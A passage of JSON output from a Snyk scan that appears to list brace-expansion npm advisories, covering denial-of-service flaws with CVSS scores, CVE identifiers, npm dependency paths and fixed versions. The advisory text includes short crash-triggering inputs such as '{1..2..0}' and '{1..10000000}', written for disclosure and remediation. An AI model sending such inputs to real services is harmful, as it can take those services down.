Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": 